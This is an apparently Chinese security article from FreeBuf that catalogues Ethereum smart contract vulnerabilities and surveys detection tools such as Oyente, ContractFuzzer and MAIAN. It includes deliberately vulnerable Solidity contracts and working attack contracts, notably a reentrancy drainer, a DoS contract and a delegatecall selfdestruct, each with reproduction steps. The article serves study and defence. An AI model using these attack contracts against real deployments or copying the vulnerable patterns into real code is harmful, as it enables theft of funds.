智能合约安全性问题CheckList – 作者:x565178035

*本文中涉及到的相关漏洞已报送厂商并得到修复,本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担。

*本文原创作者:x565178035,本文属FreeBuf原创奖励计划,未经许可禁止转载

根据腾讯腾讯安全2018上半年区块链安全报告,智能合约引发的安全问题以成为区块链自身机制安全性的主要问题,本文就目前文献中提到的主流安全性问题做出总结,并列出目前的相关研究。

整形溢出(Arithmetic Issues)

如下代码,如果没有assert判断,那么sellerBalance+value可能会超出uint上限制导致溢出。

pragma solidity ^0.4.15;
contract Overflow {
    uint private sellerBalance=0;
    function add(uint value) returns (bool, uint){
        sellerBalance += value; // complicated math with possible overflow
        // possible auditor assert
        assert(sellerBalance >= value);
    }
}

危险的delegatecall(dangerous delegatecall)[contractfuzzer]

首先需要了解call和delegatecall的区别:call和delegatecall都为合约相互调用时的函数,假设A调用B函数,call方法结果展示到B中,delegatecall方法结果展示到A中。

在如下示例中,Mark如果用delegatecall调用了恶意合约Steal,那么Mark合约会被删除。

复现:

1.用A账户部署Steal,用B账户部署Mark合约,并在部署时为合约附加10个ether。

2.账户B调用Mark.call(address(Steal)),即用B调用Steal的Innocence方法,实际上innocence会在Mark的上下文环境运行,发现账户B收到合约的10 ether(注意不是A账户)

3.用C账户执行Mark.deposit()方法,并附加10ether,再调用destruct方法,发现B无法收到10ether,说明合约确实已经在第二步被销毁。

pragma solidity ^0.4.2;
contract Steal{
    address owner;
    constructor () payable {
        owner = msg.sender;
    }
    function innocence() {
        log0("123");
        selfdestruct(owner);
    }
}
contract Mark {
    address owner;
    constructor () payable {
        owner = msg.sender;
    }
    function Deposit() payable {}
    function call(address a) {
        a.delegatecall(bytes4(keccak256("innocence()")));
    }
}

无Gas发送(Gasless Send)[contractfuzzer]

合约C调用合约D1时,由于fallback函数修改了storage变量——这是一个消耗大量gas的操作——导致了超过fallback的gas上限(2300gas)导致fallback失败,调用D2时,由于没有超过上限,调用成功。

复现:

1.用10ether部署C合约,0ether部署D1合约,0ether部署D2合约

2.调用C.pay(1000000000000000000, address(D1)),D1的count值仍为0

3.调用D1.kill(),以太币不增加。2,3两步说明了D1的fallback调用失败

4.调用C.pay(1000000000000000000,address(D2))

5.调用D2.kill(),发现账户增加1ether,说明D2的fallback调用成功

pragma solidity ^0.4.2;
contract C {
    address owner;
    constructor () payable{
        owner=msg.sender;
    }
    function pay(uint n, address d){
        d.send(n);
    }
    function kill() {
       if (owner == msg.sender) {
          selfdestruct(owner);
       }
    }
}
contract D1 {
    address owner;
    uint public count = 0;
    constructor () payable{
        owner=msg.sender;
    }
    function() payable {
        count = count+1;
    }
    function kill() {
       if (owner == msg.sender) {
          selfdestruct(owner);
       }
    }
}
contract D2  {
    address owner;
    constructor () payable{
        owner=msg.sender;
    }
    function() payable {}
    function kill() {
       if (owner == msg.sender) {
          selfdestruct(owner);
       }
    }
}

依赖于交易顺序/条件竞争(TOD/Front Running)[smarter]

由于:

1.只有当交易被打包进区块时,他才是不可更改的

2.区块会优先打包gasprice更高的交易

所以攻击者可以恶意操控交易顺序从而使合约对自己有利。如图,出题人和做题人同时发起合约,那么做题人得到的奖励因合约执行顺序不同而不同。

1534317198703

再例如ERC20标准中的approve,整个流程是这样的:

1.用户A授权用户B 100代币的额度

2.用户A觉得100代币的额度太高了,再次调用approve试图把额度改为50

3.用户B在待交易处(打包前)看到了这笔交易

4.用户B构造一笔提取100代币的交易,通过条件竞争将这笔交易打包到了修改额度之前,成功提取了100代币

5.用户B发起了第二次交易,提取50代币,用户B成功拥有了150代币

function approve(address _spender, uint256 _value) public returns (bool success){
    allowance[msg.sender][_spender] = _value;
    return true

依赖于时间戳(Timestamp Dependence/Time manipulation)[smarter]

1534316701411

攻击者可以修改区块的时间戳-900s以此获益。

未处理的异常(Mishandled Exceptions/Unchecked Return Values For Low Level Calls)[smarter]

例如合约KoET,攻击者可以控制函数调用次数(EVM限制调用深度为1024),从而导致send函数调用失败,但是接下来的代码会继续执行,这样前一个国王就无法得到报酬(compensation)。1535892194599

Attacker:

1535891836531

复现失败,在Remix中运行递归会崩溃,在实际运行中由于Gas较高,无法交易(预算手续费大于30ether)。

重入漏洞(Reentrancy/DAO)[smarter][seebug1]

当外部账户或其他合约向一个合约地址发送ether时,会执行该合约的fallback函数(当调用合约时没有匹配到函数,也会调用没有名字的fallback函数)。且call.value()会将所有可用Gas给予外部调用(fallback函数),若在fallback函数中再调用withdraw函数,则会导致递归问题。攻击者可以部署一个恶意递归的合约将公共钱包这个合约账户里的Ether全部提出来。

复现:

1.账户A部署IDMoney合约,账户B部署Attack合约

2.账户A调用IDMoney()方法,并附加10ether

3.账户B部署Attack合约,附加2ether

4.账户B调用Attack.setVictim()方法,设置victim变量为IDMoney合约地址

5.账户B调用Attack.step1()方法,设置amount=1000000000000000000,即合约Attack调用合约IDMoney.deposit()方法

6.账户B调用Attack.step2()方法,设置amount=500000000000000000

7.账户B调用Attack.stopAttack()方法,获得IDMoney的所有余额(包括A的存款,严格说是合约中除了500000000000000000wei的余额)

pragma solidity ^0.4.19;
contract IDMoney{
    address _owner;
    mapping (address => uint256) balances;
    function IDMoney() {
        _owner = msg.sender;
    }
    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }
    function withdraw(address to, uint256 amount) public payable {
        require(balances[msg.sender] >= amount);
        require(this.balance >= amount);
        log0(bytes32(address(this).balance/1e15));
        to.call.value(amount)();
        balances[msg.sender] -= amount;
    }
    function balanceof(address to) constant returns(uint256){
        return balances[to];
    }
}
contract Attack {
    address owner;
    address victim;
    modifier ownerOnly { require(owner == msg.sender); _; }
    function Attack() payable { owner = msg.sender; }
    // 设置已部署的 IDMoney 合约实例地址
    function setVictim(address target) ownerOnly { victim = target; }
    // deposit Ether to IDMoney deployed
    function step1(uint256 amount) ownerOnly payable {
        if (this.balance > amount) {
            victim.call.value(amount)(bytes4(keccak256("deposit()")));
        }
    }
    // withdraw Ether from IDMoney deployed
    function step2(uint256 amount) ownerOnly {
        victim.call(bytes4(keccak256("withdraw(address,uint256)")), this, amount);
    }
    // selfdestruct, send all balance to owner
    function stopAttack() ownerOnly {
        selfdestruct(owner);
    }
    function startAttack(uint256 amount) ownerOnly {
        step1(amount);
        step2(amount / 2);
    }
    function () payable {
        if (msg.sender == victim) {
            // 再次尝试调用 IDMoney 的 withdraw 函数,递归转币
            victim.call(bytes4(keccak256("withdraw(address,uint256)")), this, msg.value);
        }
    }
}

注意到合约IDMoney.withdraw()方法已经存在检查账户余额的代码,但是却未能生效,原因是递归调用时没有执行到balances[msg.sender] -= amount;,因此调用时,账户的余额是不变的,而真正导致递归调用退出的是require(this.balance >= amount);,这也是为何调用结束后合约还剩下amount数量的以太币的原因。有人会问,如果把这句话删掉呢?我本以为合约会报错,但是很遗憾,合约依然能够正常运行,并且合约中不再剩下任何以太币。

DoS攻击[DoS]

频繁调用某些Op(EXTCODESIZE和SUICIDE),这些Op花费的Gas小,但是需要大量资源(计算资源,I/O),以此造成DoS,对以太坊合约进行 DoS 攻击,可能导致 Ether 和 Gas 的大量消耗,更严重的是让原本的合约代码逻辑无法正常运行。

复现:

1.账户A部署PresidentOfCountry合约设置_price为1e18(1ether)。

2.账户B调用PresidentOfCountry,并附加1ether,成为President,price=2ether

3.账户C部署Attack,调用start_attack(address(PresidentOfCountry))并附加2ether,账户C成为President,由于调用后PresidentOfCountry合约会调用Attack的fallback函数,而fallback函数的revert()抛出错误。

4.账户B调用PresidentOfCountry,并附加4ether,但是并不能称为President,说明合约代码无法正常运行。

pragma solidity ^0.4.10;
contract PresidentOfCountry {
    address public president;
    uint256 public price;
    constructor(uint256 _price) public payable {
        require(_price > 0);
        price = _price;
        president = msg.sender;
    }
    function becomePresident() payable {
        assert(msg.value >= price);  // must pay the price to become president
        president.transfer(price);   // we pay the previous president
        president = msg.sender;      // we crown the new president
        price = msg.value * 2;           // we double the price to become president
    }
}
contract Attack {
    function () { revert(); }
    function start_attack(address _target) payable {
        _target.call.value(msg.value)(bytes4(keccak256("becomePresident()")));
    }
}

说实话这里我也没太搞懂,为什么合约被C调用过就无法执行了Orz

重放攻击[blackhat2018]

如果合约存在相同的代码,则攻击者可以使用合约A函数的参数调用合约B。

/*
 * 付款人要为收款人转账,但是付款人没有足够的ETH,因此找一个代理人,并支付一定的代币作为代理费
 * @param _from     付款人
 * @param _to       收款人
 * @param _value    金额
 * @param feeUgt    代理费
 * @param _v        sig[0:66] #由付款人签名,即付款人确认付钱
 * @param _r        sig[66:130]
 * @param _s        sig[130:132]
 * 如果其他合约同样包含TransferProxy函数,并且实现相似,那么攻击者可以在B合约上重放函数参数,B合约会执行成功
 */
function transferProxy(address _from, address _to, uint256 _value, uint256 _feeUgt,
    uint8 _v,bytes32 _r, bytes32 _s) returns (bool){
    if(balances[_from] < _feeUgt + _value) throw;
    uint256 nonce = nonces[_from];
    bytes32 h = sha3(_from,_to,_value,_feeUgt,nonce);
    // ecrecover 验签函数
    if(_from != ecrecover(h,_v,_r,_s)) throw;
    if(balances[_to] + _value < balances[_to]
        || balances[msg.sender] + _feeUgt < balances[msg.sender]) throw;
    balances[_to] += _value;
    Transfer(_from, _to, _value);
    balances[msg.sender] += _feeUgt;
    Transfer(_from, msg.sender, _feeUgt);
    balances[_from] -= _value + _feeUgt;
    nonces[_from] = nonce + 1;
    return true;
}

变量覆盖[varreplace]

以如下代码为例,Solidity存储机制的问题,p初始化后的name、mappedAddress地址会与变量testA、testB地址重合,导致调用test函数给结构体p赋值后,变量testA和testB的值也会被覆盖。

复现:

1.调用TestContract.test()方法

2.检查testA和testB的值,已被改变

pragma solidity ^0.4.0;
contract  TestContract{
    int public testA;
    address public testB;
    struct Person {
        int name;
        address mappedAddress;
    }
    function test(int _name, address _mappedAddress) public{
        Person p;
        p.name = _name;    //testA被改变
        p.mappedAddress = _mappedAddress;    //testB被改变
    }
}

相关工作

DASP[dasp]总结了以太坊合约的Top10安全性问题

luu等人[smarter]设计一套基于符号执行的智能合约安全审计工具oyente(已做过演示,目前可以检测的漏洞有整形溢出,合约依赖交易顺序,依赖时间戳的漏洞,未处理异常和重入漏洞

Nikolic[maian]等人设计了一套符号执行检测智能合约的工具MAIAN,这些问题包括合约永久锁定资金,资金可被恶意用户转账以及被任意用户杀死,我们选用了34200个合约(去重复后有2365个),我们抽样调查了3759个合约,得到89%的正确率。

jiang等人[contractfuzzer]设计了一套基于fuzz的智能合约审计工具ContractFuzzer,他们通过在EVM中插桩,以此获取程序在执行中产生的信息,通过预先设置的测试准则发现漏洞,他们设计的工具可以检测无Gas发送、Exception Disorder、重入漏洞、依赖于时间戳漏洞、依赖于区块高度漏洞、危险的Delegatecall、合约永久锁定资金7大安全性问题,经过试验,ContractFuzzer发现漏洞的准确率较高,但是相较于Oyente,此工具找到的漏洞数量较少。

Liu等人[ReGuard]构建了基于fuzz的智能合约检测工具,旨在检测合约中的重入漏洞,实验表明,相较于Oyente,该工具有更高的准确率,并且能发现更多数量的问题。

chen等人[DoS]通过动态调整Op执行的gas花费阻止DoS攻击(通过反复执行小gas的opcode,消耗系统资源造成dos)。

参考文献

[DoS]: Chen, Ting, et al. “An Adaptive Gas Cost Mechanism for Ethereum to Defend Against Under-Priced DoS Attacks.” International Conference on Information Security Practice and Experience. Springer, Cham, 2017.

[smarter]: Luu, Loi, et al. “Making smart contracts smarter.” Proceedings of the 2016 ACM SIGSAC Conference on Computer and Communications Security. ACM, 2016.

[blackhat2018]: Bai, Zhenxuan, et al. “Your May Have Paid More than You Imagine:Replay Attacks on Ethereum Smart Contracts.” Blackhat. 2018

[seebug1]: 以太坊智能合约安全入门了解一下(上),https://paper.seebug.org/601/

[contractfuzzer]: Bo Jiang, Ye Liu, and W.K. Chan. 2018. ContractFuzzer: Fuzzing Smart Contracts for Vulnerability Detection. In Proceedings ofthe 33rd IEEE/ACM International Conference on Automated Software Engineering (ASE’18), September 3–7, Montpellier, France, 10 pages.

[maian]: Ivica Nikolic, Aashish Kolluri, Ilya Sergey, Prateek Saxena, and Aquinas Hobor. 2018. Finding The Greedy, Prodigal, and Suicidal Contracts at Scale. (2018). DOI:https://doi.org/arXiv:1802.06038v1

[ReGuard]: Liu, C., Liu, H., Cao, Z., Chen, Z., Chen, B., & Roscoe, B. (2018). ReGuard: Finding reentrancy bugs in smart contracts. Proceedings – International Conference on Software Engineering, 65–68.https://doi.org/10.1145/3183440.3183495

*本文原创作者:x565178035,本文属FreeBuf原创奖励计划,未经许可禁止转载

来源:freebuf.com 2018-09-14 08:30:24 by: x565178035

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论